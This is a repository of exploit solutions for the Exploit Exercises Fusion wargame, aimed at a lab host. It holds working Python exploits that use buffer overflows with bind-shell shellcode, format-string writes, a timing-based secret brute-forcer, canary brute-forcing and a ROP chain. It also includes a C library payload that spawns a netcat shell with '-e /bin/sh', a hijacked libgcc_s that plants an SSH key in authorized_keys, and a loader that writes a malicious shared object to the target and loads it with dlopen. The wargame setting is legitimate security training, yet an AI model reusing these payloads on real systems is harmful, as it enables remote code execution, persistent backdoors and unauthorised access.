├── level10
    └── README.md
├── level07
    ├── paks
    │   ├── level07.dos.pak
    │   ├── level07.dos2.pak
    │   ├── level07.orig.pak
    │   ├── level07.arbitrarywrite.pak
    │   └── level07.overwritecmdhead.pak
    ├── libpak.h
    ├── level07.so.c
    ├── level07.client.py
    ├── level07.server.py
    ├── level07.makepak.py
    ├── level07.makepak.final.py
    ├── level07.encrypt.c
    ├── level07.decrypt.c
    └── README.md
├── README.md
├── template.py
├── level04
    ├── level04-leak.py
    ├── level04-canarybf.py
    ├── level04-bruteforcer.py
    └── level04.py
├── level11
    └── level11.py
├── level12
    └── level12.py
├── level06
    ├── level06.pem
    ├── level06.ebp.py
    ├── level06.infoleak.py
    └── level06.py
├── level00
    └── level00.py
├── level01
    └── level01.py
├── level08
    ├── libgcc_s.so.c
    ├── level08.py
    ├── level08.threaded.py
    ├── encrypt.c
    └── README.md
├── level03
    └── level03.py
├── level02
    └── level02.py
├── level09
    └── level09.py
├── level14
    ├── level14.py
    └── README.md
├── level05
    ├── level05.orig.py
    ├── level05.py
    └── level05.big.py
└── level13
    └── level13.py


/level10/README.md:
--------------------------------------------------------------------------------
1 | > perl -e 'print "%1024x\xc8\x10\xa1\xde"' | nc 10.0.0.1 20010
2 | 


--------------------------------------------------------------------------------
/level07/paks/level07.dos.pak:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/earthquake/fusion/HEAD/level07/paks/level07.dos.pak


--------------------------------------------------------------------------------
/level07/paks/level07.dos2.pak:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/earthquake/fusion/HEAD/level07/paks/level07.dos2.pak


--------------------------------------------------------------------------------
/level07/paks/level07.orig.pak:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/earthquake/fusion/HEAD/level07/paks/level07.orig.pak


--------------------------------------------------------------------------------
/level07/paks/level07.arbitrarywrite.pak:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/earthquake/fusion/HEAD/level07/paks/level07.arbitrarywrite.pak


--------------------------------------------------------------------------------
/level07/paks/level07.overwritecmdhead.pak:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/earthquake/fusion/HEAD/level07/paks/level07.overwritecmdhead.pak


--------------------------------------------------------------------------------
/level07/libpak.h:
--------------------------------------------------------------------------------
1 | struct ops {
2 |   void (*register_cmd)(unsigned int opcode, unsigned int flags, void *(*fp)(void *));
3 |   void (*unregister_cmd)(unsigned int opcode);
4 | };
5 | 
6 | int parse_pak(unsigned char *pakaddr, size_t paklen, size_t base, struct ops *ops);
7 | 


--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | #Fusion
2 | 
3 | https://exploit-exercises.com/fusion/<br /><br />
4 | Exploit Exercises Fusion level solutions by my own.<br />
5 | If you care about the quality of the code then this is not your repository, please move along. In any other case, help yourself with hints.
6 | 


--------------------------------------------------------------------------------
/level07/level07.so.c:
--------------------------------------------------------------------------------
 1 | /*
 2 | gcc -c -Wall -Werror -fpic level07.c -Wl,-init,foo
 3 | gcc -shared -o level07.so level07.o -Wl,-init,foo
 4 | */
 5 | #include <stdio.h>
 6 | #include <stdlib.h>
 7 |  
 8 | void foo(void)
 9 | {
10 |     system("/bin/nc.traditional -l -p4551 -e /bin/sh");
11 | }
12 | 
13 | 


--------------------------------------------------------------------------------
/template.py:
--------------------------------------------------------------------------------
 1 | #!/usr/bin/env python
 2 | import socket
 3 | 
 4 | TCP_IP = '10.0.0.1'
 5 | TCP_PORT = 20004
 6 | BUFFER_SIZE = 1024
 7 | 
 8 | bof = "PLACE IT HERE"
 9 | 
10 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
11 | s.connect((TCP_IP, TCP_PORT))
12 | data = s.recv(BUFFER_SIZE)
13 | print "received data:", data
14 | s.send(bof)
15 | data = s.recv(BUFFER_SIZE)
16 | s.close()
17 | 
18 | print "received data:", data
19 | 


--------------------------------------------------------------------------------
/level07/level07.client.py:
--------------------------------------------------------------------------------
 1 | #!/usr/bin/env python
 2 | import socket
 3 | from struct import *
 4 | import random
 5 | 
 6 | UDP_IP = '10.0.0.1'
 7 | UDP_PORT = 20007
 8 | BUFFER_SIZE = 1024
 9 | 
10 | s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
11 | s.connect((UDP_IP, UDP_PORT))
12 | 
13 | buf = pack("<I", 1347961165)
14 | #buf = pack("<I", 2280059729)
15 | buf += "10.0.0.1|4551|AAAAAAAA"
16 | #buf += "/bin/ls>/tmp/test" 
17 | 
18 | print "sending buf: %s" % (buf) 
19 | s.send(buf)
20 | s.close()
21 | 
22 | 


--------------------------------------------------------------------------------
/level04/level04-leak.py:
--------------------------------------------------------------------------------
 1 | #!/usr/bin/env python
 2 | import socket
 3 | import base64
 4 | import time
 5 | import string
 6 | import random
 7 | 
 8 | # info leak with the proper secret replaced
 9 | 
10 | TCP_IP = '10.0.0.1'
11 | TCP_PORT = 20004
12 | BUFFER_SIZE = 1024
13 | 
14 | def create_http_request(uri, password):
15 | 	request = "GET "+uri+" HTTP/1.0\nAuthorization: Basic "+base64.b64encode(password)+"\n\n"
16 | 	return request
17 | 
18 | password = "PC1fysF7wbnh8vU0" + "A"*2036
19 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
20 | s.connect((TCP_IP, TCP_PORT))
21 | httprequest = create_http_request("/./", password)
22 | s.send(httprequest)
23 | while True:
24 | 	data = s.recv(BUFFER_SIZE)
25 | 	if not data:
26 | 		break
27 | 	print data
28 | s.close()
29 | 
30 | 


--------------------------------------------------------------------------------
/level11/level11.py:
--------------------------------------------------------------------------------
 1 | #!/usr/bin/env python
 2 | import socket
 3 | 
 4 | TCP_IP = '10.0.0.1'
 5 | TCP_PORT = 20011
 6 | BUFFER_SIZE = 1024
 7 | 
 8 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 9 | s.connect((TCP_IP, TCP_PORT))
10 | data = s.recv(BUFFER_SIZE)
11 | target = int(data[14:22], 16)
12 | 
13 | byte4 = chr(target & 0xFF) + chr((target >> 8) & 0xFF) + chr((target >> 16) & 0xFF) + chr((target >> 24) & 0xFF)
14 | byte3 = chr(target+1 & 0xFF) + chr((target >> 8) & 0xFF) + chr((target >> 16) & 0xFF) + chr((target >> 24) & 0xFF)
15 | 
16 | bof = byte4 + "%253x%01x%01x%nz"+byte3+"%56460x%01x%01x%01x%n\n"
17 | 
18 | s.send(bof)
19 | data = s.recv(BUFFER_SIZE)
20 | while "critical hit" not in data:
21 | 	data = s.recv(BUFFER_SIZE)
22 | print "received data:", data
23 | s.send("id\n")
24 | data = s.recv(BUFFER_SIZE)
25 | print "received data:", data
26 | s.close()
27 | 
28 | 


--------------------------------------------------------------------------------
/level04/level04-canarybf.py:
--------------------------------------------------------------------------------
 1 | #!/usr/bin/env python
 2 | import socket
 3 | import base64
 4 | import time
 5 | import string
 6 | import random
 7 | 
 8 | # get the stack canary with the proper secret replaced
 9 | 
10 | TCP_IP = '10.0.0.1'
11 | TCP_PORT = 20004
12 | BUFFER_SIZE = 1024
13 | 
14 | def create_http_request(uri, password):
15 | 	request = "GET "+uri+" HTTP/1.0\nAuthorization: Basic "+base64.b64encode(password)+"\n\n"
16 | 	return request
17 | 
18 | for c in xrange(0, 255):
19 | 	canary = chr(c)
20 | 	password = "PC1fysF7wbnh8vU0" + "A"*2032 + "\x00\xf5\xd4\x20" + canary
21 | 	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
22 | 	s.connect((TCP_IP, TCP_PORT))
23 | 	httprequest = create_http_request("/./", password)
24 | 	s.send(httprequest)
25 | 	data = s.recv(BUFFER_SIZE)
26 | 	if "smashing" in data:
27 | 		print data
28 | 		continue
29 | 	else:
30 | 		print "First character: " + canary.encode("hex")
31 | 		break
32 | 	s.close()
33 | 
34 | 


--------------------------------------------------------------------------------
/level12/level12.py:
--------------------------------------------------------------------------------
 1 | #!/usr/bin/env python
 2 | import socket
 3 | import struct
 4 | 
 5 | TCP_IP = '10.0.0.1'
 6 | TCP_PORT = 20012
 7 | BUFFER_SIZE = 1024
 8 | 
 9 | #0804b528  00000607 R_386_JUMP_SLOT   00000000   fflush
10 | #(gdb) x/wx 0x0804b528
11 | #0x804b528 <fflush@got.plt>:	0x08048926
12 | #(gdb) p callme
13 | #$1 = {void (void)} 0x8049940 <callme>
14 | 
15 | byte4 = struct.pack("<I", 0x0804b528) #40
16 | byte3 = struct.pack("<I", 0x0804b529) #99
17 | byte2 = struct.pack("<I", 0x0804b52a) #804
18 | 
19 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
20 | s.connect((TCP_IP, TCP_PORT))
21 | data = s.recv(BUFFER_SIZE)
22 | bof = byte4 + "%99x%99x%38x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%nzz"+byte3+"%99x%99x%53x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%nzz"+byte2+"%99x%99x%99x%99x%99x%99x%99x%99x%99x%99x%99x%99x%99x%86x%08x%n\n"
23 | 
24 | s.send(bof)
25 | while "Hmmm, " not in data:
26 | 	data = s.recv(BUFFER_SIZE)
27 | s.send("id\n")
28 | data = s.recv(BUFFER_SIZE)
29 | print "received data:", data
30 | s.close()
31 | 
32 | 


--------------------------------------------------------------------------------
/level07/level07.server.py:
--------------------------------------------------------------------------------
 1 | #!/usr/bin/env python
 2 | import socket
 3 | from struct import *
 4 | import random
 5 | import sys
 6 | 
 7 | TCP_IP = '0.0.0.0'
 8 | TCP_PORT = 4551
 9 | BUFFER_SIZE = 1024
10 | 
11 | def encode(content, key):
12 | 	c = list(content)
13 | 	d = 0
14 | 	for i in xrange(len(content)):
15 | 		c[i] = chr(ord(c[i]) ^ ord(key[d]))
16 | 		d = (d+1) % len(key)
17 | 	return "".join(c)
18 | 
19 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
20 | s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
21 | try:
22 | 	s.bind((TCP_IP, TCP_PORT))
23 | except socket.error as e:
24 | 	print "Bind failed: "+str(e[0])+" : "+e[1]
25 | 	sys.exit()
26 | 
27 | s.listen(0)
28 | 
29 | while True:
30 | 	conn, addr = s.accept()
31 | 	with open("level07.pak", mode='rb') as file:
32 | 		content = file.read()
33 | 	print "connected from:" + addr[0] + ":" + str(addr[1])
34 | 	print len(encode(pack("<I", len(content)) + content, "AAAAAAAA"))
35 | 	print conn.sendall(pack("<I", len(content)) + encode(content, "AAAAAAAA"))
36 | 	conn.close()
37 | 
38 | s.close()
39 | 
40 | 


--------------------------------------------------------------------------------
/level06/level06.pem:
--------------------------------------------------------------------------------
 1 | -----BEGIN CERTIFICATE-----
 2 | MIICwTCCAaugAwIBAgIETZeH6TALBgkqhkiG9w0BAQUwDTELMAkGA1UEBhMCQVUw
 3 | HhcNMTEwNDAyMjAzMjQ0WhcNMzMxMDE5MTU1MTE1WjANMQswCQYDVQQGEwJBVTCC
 4 | ASAwCwYJKoZIhvcNAQEBA4IBDwAwggEKAoIBAQC/XfDCtQrthLflJ6KOYssHWVEX
 5 | pmL0aE5J8/b03Obn1X3CdlBXFK2uzVIANHjq655agiBd4BY77ZVzQjfJ43/Ia+eG
 6 | kQYMvN75tCl2hVq6+6agFIkEpqVAIbzklkku+H+nA1VSpMxd5VGVOFj34TU/3vgr
 7 | VJmMaHEFIWkXji+i19jSWTfaJXUWquIBLyBNJXSZ9ZZsRZckyWqbC/dph9cr+BiH
 8 | O+jJZ0LRzJYRgnV4Lr+eOQKB4fC0fkyAV4OCQfxnc69+kpTudcPGPEZjynQVS9r7
 9 | WfbUoCq0NjBcQdM4Qt4RYKFzpDZZW00mBDPso9vcU8FBllnNmVHVvin29twfAgMB
10 | AAGjLzAtMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYEFKpVXD5ZHakWJ1TV2Zt2KXah
11 | aK+wMAsGCSqGSIb3DQEBBQOCAQEAVNgg1UZSAKlLzEsGC4Nh70GgQpzsg42sTIUb
12 | SahHMr86s2q5Fdz0PFdyqtzqu22HVOnI+Lc1WK2mGKGdXOJd5EmnFvx5mevXyfyW
13 | XDV6N0BqgVW3jDaKvlDzNGuZ0vlpZZZPCym5IcEl5A5rAk1deAbPqRKlaAtzoZIq
14 | uAK4OFqdhgVknzVzb6qc0HDpCL73D9qyDfbxv7ISfiBNcl8mxQSwOj8hPd71a8ES
15 | 9ckEeX9VPoYyJ7GX6kM2S6exrxwsksPvrEjmA6thMUqGEIJydxe0lVmG6aTr4Z4Y
16 | P+kqOOI9zE0QrTs1wUoU/mPs6nVfX1vxWnSiaY8F7GPg5cbQNA==
17 | -----END CERTIFICATE-----
18 | 


--------------------------------------------------------------------------------
/level00/level00.py:
--------------------------------------------------------------------------------
 1 | #!/usr/bin/env python
 2 | import socket
 3 | 
 4 | #bind on 4444
 5 | buf =  ""
 6 | buf += "\xb8\xcc\x46\xc9\x39\xdb\xc0\xd9\x74\x24\xf4\x5b\x31"
 7 | buf += "\xc9\xb1\x14\x31\x43\x14\x83\xc3\x04\x03\x43\x10\x2e"
 8 | buf += "\xb3\xf8\xe2\x59\xdf\xa8\x57\xf6\x4a\x4d\xd1\x19\x3a"
 9 | buf += "\x37\x2c\x59\x60\xe6\xfc\x31\x95\x16\x10\x9d\xf3\x06"
10 | buf += "\x43\x4d\x8d\xc6\x09\x0b\xd5\xc5\x4e\x5a\xa4\xd1\xfd"
11 | buf += "\x58\x97\xbc\xcc\xe0\x94\xf0\xa9\x2d\x9a\x62\x6c\xc7"
12 | buf += "\xa4\xdc\x42\x97\x92\xa5\xa4\xff\x0b\x79\x26\x97\x3b"
13 | buf += "\xaa\xaa\x0e\xd2\x3d\xc9\x80\x79\xb7\xef\x90\x75\x0a"
14 | buf += "\x6f"
15 | 
16 | TCP_IP = '10.0.0.1'
17 | TCP_PORT = 20000
18 | BUFFER_SIZE = 1024
19 | eip = "\xe5\xf3\xff\xbf" # 0xbffff3e5
20 | 
21 | bof = "GET /"+"A"*139 + eip +" HTTP/1.1"+"\x90"*30+buf+"\xCC"*(770-len(buf))+"\r\n"
22 | 
23 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
24 | s.connect((TCP_IP, TCP_PORT))
25 | data = s.recv(BUFFER_SIZE)
26 | print "received data:", data
27 | s.send(bof)
28 | data = s.recv(BUFFER_SIZE)
29 | s.close()
30 | 
31 | print "received data:", data
32 | 


--------------------------------------------------------------------------------
/level07/level07.makepak.py:
--------------------------------------------------------------------------------
 1 | #!/usr/bin/env python
 2 | from struct import *
 3 | import sys
 4 | 
 5 | def writestack(fourbytes):
 6 | 	sys.stdout.write("\xAF\x00\x00"+fourbytes)
 7 | 
 8 | def dlopen():
 9 | 	sys.stdout.write("\x4D\x00\x00")
10 | 
11 | def dlsym():
12 | 	sys.stdout.write("\xB4\x00\x00")
13 | 
14 | def sub():
15 | 	sys.stdout.write("\x46\x00\x00")
16 | 
17 | def writenull():
18 | 	sys.stdout.write("\x31\x00\x00")
19 | 
20 | def loopin():
21 | 	sys.stdout.write("\x18\x00\x00")
22 | 
23 | def writefile():
24 | 	sys.stdout.write("\x23\x00\x00")
25 | 
26 | def writemem():
27 | 	sys.stdout.write("\xB0\x00\x00")
28 | 
29 | def unregister():
30 | 	sys.stdout.write("\x95\x00\x00")
31 | 
32 | def writeheap(string):
33 | 	sys.stdout.write("\xEA" + pack("<H", len(string)) + string)
34 | 
35 | 
36 | #writeheap("/tmp/test")
37 | #writeheap("testtest12")
38 | #writestack(pack("<I", 10))
39 | #writefile()
40 | 
41 | 
42 | writeheap("")
43 | dlopen()
44 | #writestack(pack("<I",0x21788))
45 | writeheap("cmdtab_head\x00")
46 | dlsym()
47 | writeheap("EQEQZZZZ\xc0\x41\x8f\xb7PPPPNNNN")
48 | #writenull()
49 | #sub()
50 | #writestack("BBBB")
51 | writemem()
52 | #dlsym()
53 | 


--------------------------------------------------------------------------------
/level01/level01.py:
--------------------------------------------------------------------------------
 1 | #!/usr/bin/env python
 2 | import socket
 3 | 
 4 | #bind on 4444
 5 | buf =  ""
 6 | buf += "\xb8\xcc\x46\xc9\x39\xdb\xc0\xd9\x74\x24\xf4\x5b\x31"
 7 | buf += "\xc9\xb1\x14\x31\x43\x14\x83\xc3\x04\x03\x43\x10\x2e"
 8 | buf += "\xb3\xf8\xe2\x59\xdf\xa8\x57\xf6\x4a\x4d\xd1\x19\x3a"
 9 | buf += "\x37\x2c\x59\x60\xe6\xfc\x31\x95\x16\x10\x9d\xf3\x06"
10 | buf += "\x43\x4d\x8d\xc6\x09\x0b\xd5\xc5\x4e\x5a\xa4\xd1\xfd"
11 | buf += "\x58\x97\xbc\xcc\xe0\x94\xf0\xa9\x2d\x9a\x62\x6c\xc7"
12 | buf += "\xa4\xdc\x42\x97\x92\xa5\xa4\xff\x0b\x79\x26\x97\x3b"
13 | buf += "\xaa\xaa\x0e\xd2\x3d\xc9\x80\x79\xb7\xef\x90\x75\x0a"
14 | buf += "\x6f"
15 | 
16 | TCP_IP = '10.0.0.1'
17 | TCP_PORT = 20001
18 | BUFFER_SIZE = 1024
19 | eip = "\x4f\x9f\x04\x08" # 0x08049f4f jmp esp
20 | shortjump = "\xeb\x26"
21 | 
22 | bof = "GET /"+"A"*137 + shortjump + eip + shortjump + " HTTP/1.1"+"\x90"*30+buf+"\xCC"*(200-len(buf))+"\r\n"
23 | 
24 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
25 | s.connect((TCP_IP, TCP_PORT))
26 | #data = s.recv(BUFFER_SIZE)
27 | #print "received data:", data
28 | s.send(bof)
29 | data = s.recv(BUFFER_SIZE)
30 | s.close()
31 | 
32 | print "received data:", data
33 | 


--------------------------------------------------------------------------------
/level08/libgcc_s.so.c:
--------------------------------------------------------------------------------
 1 | /*
 2 | gcc -c -Wall -Werror -fpic libgcc_s.so.c -Wl,-init,foo -m32
 3 | gcc -shared -o libgcc_s.so.1 libgcc_s.so.o -Wl,-init,foo -m32
 4 | */
 5 | #define _GNU_SOURCE 
 6 | #include <sys/stat.h>
 7 | #include <sys/types.h>
 8 | #include <stdio.h>
 9 | #include <stdlib.h>
10 | #include <unistd.h>
11 | 
12 | #define KEY "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDMq4LNkkMDF8vmd0hzw8" \
13 | 	"/Va5I6K0GNLkruROPB501PPsE/HqKH13d8fOKTWvDgc9At/rRhfaAOgJbpb5wK" \
14 | 	"YxRFrpGRoZlCyQ5DZCnD3J/MpfB5R02HPzDTwj87FLJFQjLjosO+/TP9Mz0xv2" \
15 | 	"8eSeHSpvkTAScznNH8t5NEZulw113Ga8GSnteN9wPouNQrHEyo+wh0tw46/FHw" \
16 | 	"KjFe1n3ho7tj5mhIka5FSen7iYEbby1C+5zKspP8OBF90ndZ5icXPdF7iqDR5s" \
17 | 	"vPTN2PpU8VeLwKDicYidqy14RDPLscfMUMW7lR/7n1j4paThisUj0w4hrGnGdg" \
18 | 	"omyINmU6Wpyd root@xoreipeip"
19 | 
20 | void foo(void)
21 | {
22 |     uid_t ruid, euid, suid;
23 |     uid_t rgid, egid, sgid;
24 |     FILE *fd;
25 | 
26 |     getresuid(&ruid, &euid, &suid);
27 |     getresgid(&rgid, &egid, &sgid);
28 |     printf("%d:%d:%d - %d:%d:%d\n", ruid, euid, suid, rgid, egid, sgid);
29 | 
30 |     mkdir(".ssh", 0766);
31 |     fd = fopen(".ssh/authorized_keys", "w+");
32 |     fputs(KEY, fd);
33 |     fclose(fd);
34 | }
35 | 


--------------------------------------------------------------------------------
/level07/level07.makepak.final.py:
--------------------------------------------------------------------------------
 1 | #!/usr/bin/env python
 2 | from struct import *
 3 | import sys
 4 | 
 5 | def writestack(fourbytes):
 6 | 	sys.stdout.write("\xAF\x00\x00"+fourbytes)
 7 | 
 8 | def dlopen():
 9 | 	sys.stdout.write("\x4D\x00\x00")
10 | 
11 | def dlsym():
12 | 	sys.stdout.write("\xB4\x00\x00")
13 | 
14 | def sub():
15 | 	sys.stdout.write("\x46\x00\x00")
16 | 
17 | def writenull():
18 | 	sys.stdout.write("\x31\x00\x00")
19 | 
20 | def loopin():
21 | 	sys.stdout.write("\x18\x00\x00")
22 | 
23 | def writefile():
24 | 	sys.stdout.write("\x23\x00\x00")
25 | 
26 | def writemem():
27 | 	sys.stdout.write("\xB0\x00\x00")
28 | 
29 | def unregister():
30 | 	sys.stdout.write("\x95\x00\x00")
31 | 
32 | def writeheap(string):
33 | 	sys.stdout.write("\xEA" + pack("<H", len(string)) + string)
34 | 
35 | def encode(content):
36 | 	c = list(content)
37 | 	for i in xrange(len(content)):
38 | 		c[i] = chr(ord(c[i]) ^ 0xa5)
39 | 	return "".join(c)
40 | 
41 | 
42 | with open("level07.so", mode='rb') as file:
43 | 		content = file.read(8192)
44 | 
45 | 
46 | writeheap("/tmp/level07.so")
47 | writeheap(encode(content))
48 | writestack(pack("<I", len(content)))
49 | writefile()
50 | writeheap("/tmp/level07.so")
51 | dlopen()
52 | 


--------------------------------------------------------------------------------
/level04/level04-bruteforcer.py:
--------------------------------------------------------------------------------
 1 | #!/usr/bin/env python
 2 | import socket
 3 | import base64
 4 | import time
 5 | import string
 6 | import random
 7 | 
 8 | # use this one first to get the right secret
 9 | 
10 | TCP_IP = '10.0.0.1'
11 | TCP_PORT = 20004
12 | BUFFER_SIZE = 1024
13 | CHARSET = list(string.ascii_lowercase+string.ascii_uppercase+string.digits)
14 | 
15 | 
16 | def create_http_request(uri, password):
17 | 	request = "GET "+uri+" HTTP/1.0\nAuthorization: Basic "+base64.b64encode(password)+"\n"
18 | 	return request
19 | 
20 | def generate_password(old, which):
21 | 	if which == -1:
22 | 		return old
23 | 	new = list(old)
24 | 	new[int(which)] = CHARSET[random.randint(0, len(CHARSET)-1)]
25 | 	return "".join(new)
26 | 
27 | badchars = 17	# making sure the first round is baaad
28 | badchars = 16
29 | password = "-"*16
30 | while True:
31 | 	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
32 | 	s.connect((TCP_IP, TCP_PORT))
33 | 	password = generate_password(password, 16-badchars)
34 | 	httprequest = create_http_request("/", password)
35 | 	before = time.time()
36 | 	s.send(httprequest)
37 | 	while True:
38 | 		data = s.recv(BUFFER_SIZE)
39 | 		if not data:
40 | 			break
41 | #		print data
42 | 	after = time.time()
43 | 	badchars2 = badchars
44 | 	badchars = round((after - before)/0.0025-0.49)
45 | 	print password + "=" + str(badchars)
46 | 	if (badchars2 < badchars):
47 | 		badchars = badchars2
48 | 	s.close()
49 | 
50 | 


--------------------------------------------------------------------------------
/level07/level07.encrypt.c:
--------------------------------------------------------------------------------
 1 | /*
 2 | export LIBRARY_PATH=/root/fusion/
 3 | gcc level07.encrypt.c -o level07.encrypt -lpak -m32 -ldl
 4 | */
 5 | 
 6 | #include <stdio.h>
 7 | #include <stdlib.h>
 8 | #include <sys/mman.h>
 9 | #include <sys/stat.h>
10 | #include <dlfcn.h>
11 | #include <fcntl.h>
12 | #include <string.h>
13 | #include "libpak.h"
14 | 
15 | void register_cmd(unsigned int opcode, unsigned int flags, void *(*fp)(void *))
16 | {
17 | 	printf("reg\n");
18 | }
19 | 
20 | void unregister_cmd(unsigned int opcode)
21 | {
22 | 	printf("unreg\n");
23 | }
24 | 
25 | struct ops regops = {
26 | 	.register_cmd = register_cmd,
27 | 	.unregister_cmd = unregister_cmd
28 | };
29 | 
30 | int main()
31 | {
32 | 	unsigned char *plaintext, *cipher;
33 |   	int fd;
34 |   	FILE *fd2;
35 |   	struct stat statbuf;
36 |   	unsigned int i, cipher_len;
37 | 
38 |   	fd = open("level07.unpak", O_RDONLY);
39 |   	if(!fd) err(1, "Unable to open %s", "level07.unpak");
40 |   	if(fstat(fd, &statbuf) == -1) 
41 | 		err(1, "Unable to fstat %s", "level07.unpak");
42 | 
43 |   	plaintext = mmap(NULL, statbuf.st_size, PROT_READ, MAP_PRIVATE, fd, 0);
44 |   	if(plaintext == MAP_FAILED) 
45 | 		err(1, "Unable to mmap %s", "level07.unpak");
46 | 
47 | 	encrypt_pak(plaintext, statbuf.st_size, &cipher, &cipher_len);
48 | 	fd2 = fopen("level07.pak", "w+");
49 | 	fwrite(cipher, cipher_len, 1, fd2);
50 | 	fclose(fd2);
51 | 	for (i = 0; i<cipher_len; i++) printf("%02x:", cipher[i]);
52 | 	printf("\n");
53 | 
54 | 	return 0;
55 | }
56 | 


--------------------------------------------------------------------------------
/level07/level07.decrypt.c:
--------------------------------------------------------------------------------
 1 | /*
 2 | export LIBRARY_PATH=/root/fusion/
 3 | gcc level07.decrypt.c -o level07.decrypt -lpak -m32 -ldl
 4 | */
 5 | 
 6 | #include <stdio.h>
 7 | #include <stdlib.h>
 8 | #include <sys/mman.h>
 9 | #include <sys/stat.h>
10 | #include <dlfcn.h>
11 | #include <fcntl.h>
12 | #include <string.h>
13 | #include "libpak.h"
14 | 
15 | void register_cmd(unsigned int opcode, unsigned int flags, void *(*fp)(void *))
16 | {
17 | 	printf("reg\n");
18 | }
19 | 
20 | void unregister_cmd(unsigned int opcode)
21 | {
22 | 	printf("unreg\n");
23 | }
24 | 
25 | struct ops regops = {
26 | 	.register_cmd = register_cmd,
27 | 	.unregister_cmd = unregister_cmd
28 | };
29 | 
30 | int main()
31 | {
32 | 	unsigned char *ciphertext, *plaintext;
33 | 	int fd;
34 | 	FILE *fd2;
35 | 	struct stat statbuf;
36 | 	int status;
37 | 	unsigned int base, p_len, i;
38 | 
39 | 	fd = open("level07.pak", O_RDONLY);
40 |   	if(!fd) err(1, "Unable to open %s", "level07.pak");
41 |   	if(fstat(fd, &statbuf) == -1) 
42 | 		err(1, "Unable to fstat %s", "level07.pak");
43 | 
44 |   	ciphertext = mmap(NULL, statbuf.st_size, PROT_READ, MAP_PRIVATE, fd, 0);
45 |   	if(ciphertext == MAP_FAILED) err(1, "Unable to mmap %s", "level07.pak");
46 | 
47 | 	status = decrypt_pak(ciphertext, statbuf.st_size, &plaintext, &p_len);
48 | 	
49 | 	fd2 = fopen("level07.unpak", "w+");
50 | 	fwrite(plaintext, p_len, 1, fd2);
51 | 	fclose(fd2);
52 | 
53 | 
54 | 	for (i = 0; i<p_len; i++) printf("%02x:", plaintext[i]);
55 | 	printf("\n");
56 | 	return 0;
57 | }
58 | 


--------------------------------------------------------------------------------
/level06/level06.ebp.py:
--------------------------------------------------------------------------------
 1 | #!/usr/bin/env python
 2 | import socket
 3 | from struct import *
 4 | import time
 5 | import ssl
 6 | import threading
 7 | 
 8 | #secondary bof
 9 | 
10 | TCP_IP = '10.0.0.1'
11 | TCP_PORT = 20006
12 | BUFFER_SIZE = 1024
13 | 
14 | class myThread (threading.Thread):
15 |     def __init__(self, threadID, name, count):
16 |         threading.Thread.__init__(self)
17 |         self.threadID = threadID
18 |         self.name = name
19 |         self.count = count
20 |     def run(self):
21 |         print "Starting " + self.name
22 |         dosomedemage(self.name, self.count)
23 |         print "Exiting " + self.name
24 | 
25 | def dosomedemage(name, count):
26 | 	s_plain = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
27 | 	s_plain.connect((TCP_IP, TCP_PORT))
28 | 	s = ssl.wrap_socket(s_plain, ca_certs='level06.pem',
29 |                                 cert_reqs=ssl.CERT_REQUIRED,
30 |                                 ssl_version=ssl.PROTOCOL_TLSv1)
31 | 	data = s.recv(BUFFER_SIZE)
32 | 	print "%s: %s" % (name, data)
33 | 
34 | 	while True:
35 | 		if name in "first":
36 | 			s.send("s a %d\n" % (count))
37 | 			s.send("A"*count)
38 | 			data = s.recv(BUFFER_SIZE)
39 | 			print "%s: %s" % (name, data)
40 | 
41 | 		if name in "second":
42 | 			s.send("u a %d\n" % (count))
43 | 			s.send("A"*count)
44 | 			data = s.recv(BUFFER_SIZE)
45 | 			print "%s: %s" % (name, data)
46 | 
47 | 		if name in "third":
48 | 			s.send("g a\n")
49 | 			data = s.recv(BUFFER_SIZE)
50 | 			print "%s: %s" % (name, data)
51 | 			data = s.recv(BUFFER_SIZE)
52 | 			print "%s: %s" % (name, data)
53 | 
54 | 	s.close()
55 | 
56 | thread1 = myThread(1, "first", 10)
57 | thread2 = myThread(2, "second", 100)
58 | thread3 = myThread(3, "third", 100)
59 | 
60 | thread1.start()
61 | thread2.start()
62 | thread3.start()
63 | 


--------------------------------------------------------------------------------
/level04/level04.py:
--------------------------------------------------------------------------------
 1 | #!/usr/bin/env python
 2 | import socket
 3 | import base64
 4 | import time
 5 | import string
 6 | import random
 7 | import struct
 8 | 
 9 | # final stage: secret, canary, leaked infos
10 | 
11 | TCP_IP = '10.0.0.1'
12 | TCP_PORT = 20004
13 | BUFFER_SIZE = 1024
14 | 
15 | def create_http_request(uri, password):
16 | 	request = "GET "+uri+" HTTP/1.0\nAuthorization: Basic "+base64.b64encode(password)+"\n\n"
17 | 	return request
18 | 
19 | base = 0xb7649000
20 | stackbase = 0xbfeec000
21 | canary = "\x00\xf5\xd4\x20"
22 | ebx = "CCCC"
23 | 
24 | stack  = struct.pack("<I", base + 0xe0096) # pop %edx | pop %ecx | pop %ebx|ret
25 | stack += struct.pack("<I", 0xdeadbeef) # junk
26 | stack += struct.pack("<I", stackbase) # writable address (beggining stack)
27 | stack += struct.pack("<I", 0xdeadbeef) # junk
28 | stack += struct.pack("<I", base + 0x238df) # pop %eax | ret
29 | stack += "/bin" # junk
30 | stack += struct.pack("<I", base + 0x6cc5a) # mov %eax,(%ecx) | ret
31 | 
32 | stack += struct.pack("<I", base + 0xe0096) # pop %edx | pop %ecx | pop %ebx|ret
33 | stack += struct.pack("<I", 0xdeadbeef) # junk
34 | stack += struct.pack("<I", stackbase + 4) # writable address (beggining stack)
